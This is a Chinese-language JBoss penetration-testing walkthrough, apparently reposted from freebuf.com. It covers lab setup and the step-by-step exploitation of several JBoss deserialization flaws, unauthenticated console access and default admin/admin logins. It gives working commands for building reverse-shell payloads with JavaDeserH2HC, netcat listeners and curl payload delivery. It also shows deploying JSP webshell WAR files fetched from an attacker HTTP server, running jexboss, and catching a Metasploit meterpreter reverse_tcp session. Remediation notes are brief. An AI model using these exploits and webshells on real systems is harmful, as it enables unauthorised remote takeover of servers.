一、JBoss简介
JBoss是一个基于J2EE的开发源代码的应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统。但JBoss核心服务不包括servlet/JSP的web容器。一般与tomcat或jetty绑定试用。
Jetty是一个开源的servlet容器,它为基于jaba的web容器,例如JSP和servlet提供运行环境。Jetty是使用java语言编写的,它的API以一组JAR包的形式发布。发开人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
默认端口:8080
二、部署JBoss 6.1.0环境
JBoss下载地址:https://jbossas.jboss.org/downloads/
JDK下载地址:https://www.oracle.com/cn/java/technologies/javase-downloads.html
1、安装JDK
(1)安装JDK 1.7
(2)测试java安装情况
java -version
2、安装JBoss
(1)安装JBoss 6.1.0
(2)新建系统环境变量
JBOSS_HOME 设置:C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final
在系统环境变量path新增
;%JBOSS_HOME%\bin;
(3)在jboss的bin目录下运行run.bat程序,启动jboss
出现started in xxs等消息,jboss启动成功。
注意JDK版本要在1.6~1.7之间,若1.8版本的jdk在JBoss运行打开jmx console会出现500错误
(4) JBoss默认发布项目路径
C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy
(5)设置项目可以外部访问
修改C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml配置
将address="${jboss.bind.address}" 设置为address=0.0.0.0
重启JBoss,关闭run.bat重新打开即可
三、JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)
漏洞简述
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
影响范围
JBoss 5.x/6.x
漏洞复现
(1)验证漏洞是否存在
访问/invoker/readonly目录,如果返回500,一般说明存在反序列化漏洞
http://192.168.43.143:8080/invoker/readonly
(2)下载漏洞利用工具:javaDeserH2HC
https://github.com/joaomatosf/JavaDeserH2HC
将文件上传到kali服务器
(3)编译预置payload的java文件
编译java文件,并生成ReverseShellCommonsCollectionsHashMap.class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
(4)设置反弹shell的IP和端口。
设置反弹shell的IP和端口,并生成ReverseShellCommonsCollectionsHashMap.ser文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.43.129:9999
(5)kali服务器,监听9999端口
nc -lvp 9999
(6)使用curl命令提交payload
通过curl命令向/invoker/readonly提交payload,成功利用漏洞
curl http://192.168.43.143:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功获取反弹shell。
修复建议
方法1:
1、进入C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml,如图所示:
2、在web.xml中,修改security-constraint部分,将url-pattern修改为*,并重启jboss
方法2:
如果不需要http-invoker.sar组件的直接删除
方法3:
升级jboss到jboss7x版本
四、JBoss JMXInvokerServltet 反序列化漏洞(CVE-2015-7501)
漏洞简述
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
响应范围
Red Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; Data Grid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; Enterprise Application Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service Works (FSW) 6.x; Operations Network (JBoss ON) 3.x; Portal 6.x; SOA Platform (SOA-P) 5.x; Web Server (JWS) 3.x; Red Hat OpenShift/xPAAS 3.x; and Red Hat Subscription Asset Manager 1.3 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections (ACC) library.
漏洞复现
(1)验证漏洞是否存在
访问/invoker/JMXInvokerServlet路径,可以下载一个文件,说明此路径存在反序列化漏洞
http://192.168.43.143:8080/invoker/JMXInvokerServlet
(2)使用JavaDeserH2HC工具,编译预置payload的java文件
编译java文件,并生成ReverseShellCommonsCollectionsHashMap.class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
(3)设置反弹shell的IP和端口。
设置反弹shell的IP和端口,并生成ReverseShellCommonsCollectionsHashMap.ser文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.43.129:9999
(4)kali服务器,监听9999端口
nc -lvp 9999
(5)使用curl命令提交payload
通过curl命令向/invoker/readonly提交payload,成功利用漏洞
curl http://192.168.43.143:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功获取反弹shell。
修复建议
方法1:
1、进入C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml,如图所示:
2、在web.xml中,修改security-constraint部分,将url-pattern修改为*,并重启jboss
方法2:
如果不需要http-invoker.sar组件的直接删除
方法3:
升级jboss到jboss7x版本
五、部署JBoss 4.2.3环境
(1)安装jdk 6
(2)安装jboss 4.2.3
(3)配置环境变量
在系统环境变量中配置
JBOSS_HOME 配置: C:\jboss-4.2.3.GA
path 配置: ;%JBOSS_HOME%\bin
(4)配置远程访问
在C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer\server.xml配置
将address="${jboss.bind.address}" 设置为address=0.0.0.0
(5)运行run.bat,启动jboss
六、JBoss 4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)
漏洞简述
JBoss 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响范围
JBoss 4.x 以及之前的所有版本
漏洞复现
(1)验证漏洞是否存在
访问/jbossmq-httpil/HTTPServerILServlet路径,若返回THIS IS THE…..,则说明此接口存在反序列化漏洞
http://192.168.43.136:8080/jbossmq-httpil/HTTPServerILServlet
(2)将前面利用JavaDeserH2HC生产ser格式的payload,上传到/jbossmq-httpil/HTTPServerILServlet
curl http://192.168.43.136:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell
修复建议
升级至最新版本
七、JBoss EJBInvokerServle反序列化漏洞(CVE-2013-4810)
漏洞简述
与CVE-2015-7501漏洞原理相同,区别在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
漏洞复现
(1)验证漏洞是否存在,访问/invoker/EJBInvokerServlet路径,若返回下载文件,则说明漏洞存在
http://192.168.43.136:8080/invoker/EJBInvokerServlet
(2)将前面利用JavaDeserH2HC生产ser格式的payload,上传到/invoker/EJBInvokerServlet路径
curl http://192.168.43.136:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell
修复建议
方法1:
1、进入C:\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml,如图所示:
2、在web.xml中,修改security-constraint部分,将url-pattern修改为*,并重启jboss
方法2:
如果不需要http-invoker.sar组件的直接删除
方法3:
升级jboss到jboss7x版本
八、JBoss jmx-Console 控制台未授权访问getshell
漏洞简述
默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码,可以通过控制台上传war包getshell。
影响范围
全版本
1、JBoss4.x jmx-Console 控制台未授权访问getshell
漏洞复现
(1) 验证管理页面
访问8080默认端口,点击“JMX Console”
在“jboss.deployment”模块中点击“flavor=URL,type=DeploymentScanner”
或者直接访问以下连接,打开“flavor=URL,type=DeploymentScanner”
http://IP:port/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
然后在void addURL()选项来远程下载war包。
(2)创建包含木马的war包
将一个木马的jsp文件压缩为zip,之后将文件后缀修改为war即可
(3)创建http服务,让jboss可以远程下载shen.war包
将shen.war放在kali服务器桌面,并创建http服务
python -m SimpleHTTPServer 8889
(4)上传war包至jboss服务器
“void addURL()”中“ParamType”为java.lang.string”部分,在“ParamValue”填写”http://192.168.43.129:4444/test.war“,点击invoke上传
(5)返回MBean View
(6)查看List of MBean attributes中URLList是否包含了url连接
(7)稍等一段时间,在jmx-console路径下,jboss.web.deployment模块,我们看到我们上传的war包
(8)访问war包中的jsp木马,目录名为war包文件名
完成~~~
2、JBoss6.x jmx-Console 控制台未授权访问getshell
漏洞复现
(1)上传shell界面
访问8080端口,打开jboss首页,点击“JMX Console”
找到“jboss.system”模块,点击“service=MainDeployer”
找到“deploy“并包含”java.lang.String“,在空白部分填写,远程下载war包的链接
(2)创建http服务
将shen.war放在kali服务器桌面,并创建http服务
python -m SimpleHTTPServer 8889
(3)填报http链接,jboss远程部署war包
将war的链接填报在空白处,点击“Invoke”
上传成功
(4)蚁剑连接war包中jsp木马
访问http://192.168.43.143:8080/shen/shen.jsp,目录名称为war包名称
使用蚁剑连接
成功~~~
修复建议
关闭jmx-console和web-console,提高安全性。
jboss console管理路径为/jmx-console/和/web-console/
web-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
jmx-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
九、JBoss6.x Administration Console 弱口令getshell
漏洞简述
JBoss Administration Console存在默认账号密码admin/admin,如果Administration Console可以登录,就可以在后台部署war包getshell。
漏洞复现
(1)验证管理页面
访问jboss8080端口首页,点击“Administration Console”
(2)使用默认口令登录后台管理页面“admin/admin”
(3)上传war包木马
进入”web Applocation(WAR)s”模块,点击”Add a new resource”,上传war包
选择war包,点击继续
完成上传
点击test.war包查看状态,若为stop,请启动
(4)蚁剑连接jsp木马
目录名称为war包名称
修复建议
1、修改密码
C:\Users\dayu\Desktop\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
2、删除administration Console页面
JBoss6.x,admin-console页面路径:
C:\jboss-6.1.0.Final\common\deploy\admin-console.war
十、jboss_application_server 权限许可和访问控制漏洞 (CVE-2007-1036)
漏洞简述
此漏洞主要由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中“jboss.admin -> DeploymentFileRepository -> store()” 方法。通过以下四个参数传入信息,达到上传shell的目的,其中arg0传入的是war包名称,arg1传入的是上传的文件的文件名称,arg2传入的是上传文件的文件格式,arg3输入的是上传文件中的内容。通过控制这四个参数即可上传shell。但通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=n.jsp。这时候服务器是会对两个参数进行拼接,将shen.jsp传入到指定的路径下。
影响范围
4.x及以下版本
漏洞复现
(1)验证漏洞页面是否存在
访问指定web界面,查看漏洞环境是否存在
http://IP:prot/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
http://192.168.43.136:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
四个参数的内容:
arg0传入的是war包名称,
arg1传入的是上传的文件的文件名称,
arg2传入的是上传文件的文件格式,
arg3输入的是上传文件中的内容。
(2)上传war包木马
war包木马为jsp一句话木马
# jsp一句话木马,请参考:
https://www.tqwba.com/x_d/jishu/415225.html
(3)上传成功,验证shen2.jsp文件
访问shen2.jsp,目录文件为war文件名称
(4)蚁剑测试连接木马
修复建议
关闭jmx-console和web-console,提高安全性。
jboss console管理路径为/jmx-console/和/web-console/
web-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
jmx-console的配置文件路径:
/xxx/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
十一、初探JBoss 自动化渗透
通过理解以上操作的攻击方法和漏洞生产的原因后,可以使用自动化工具进行渗透了
1、jexboss自动化JBoss渗透部署
jexboss是针对JBoss渗透自动化攻击武器,是用于测试和利用JBoss Application Server和其他java平台、框架、应用程序等中的漏洞的工具。(此自动化工具需要Python>=2.7.x)
下载地址:
https://github.com/joaomatosf/jexboss
安装python
kali自带python2.7
python2.7 --version
安装pip2.7
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
安装jexboss
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
2、JBoss4.x自动化渗透
使用jexboss.py对web地址进行自动化渗透
python2.7 jexboss.py -host http://192.168.43.136:8080/
[*]正在检查 web-console:[易受攻击]
[*]正在检查 jmx-console:[易受攻击]
[*]正在检查 JMXInvokerServlet:[易受攻击]
*是否要尝试通过“web-console”运行自动攻击?
如果成功,这个操作将提供一个简单的命令shell来执行
服务器上的命令。
只有获得许可才能继续!
这里注意有五种漏洞检查行为
成功获取shell
3、 JBoss 6.x自动化渗透
使用jexboss.py对web地址进行自动化渗透
python2.7 jexboss.py -host http://192.168.43.143:8080/
[*]正在检查admin-console:[已公开]
[*]正在检查 jmx-console:[易受攻击]
[*]正在检查 JMXInvokerServlet:[易受攻击]
*是否要尝试通过“admin-console”运行自动攻击?
如果成功,这个操作将提供一个简单的命令shell来执行
服务器上的命令。
只有获得许可才能继续!
对jboss 6.x进行了8中漏洞检查行为
成功获取shell
4、联动MSF
kali开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.129
set lport 4444
exploit -j
jboss服务器执行
jexremote=kali的IP:kali的上监听的端口
jexremote=192.168.43.129:4444
成功在msf中监听到session
来源:freebuf.com 2021-05-09 19:44:25 by: DXR嗯嗯呐
请登录后发表评论
注册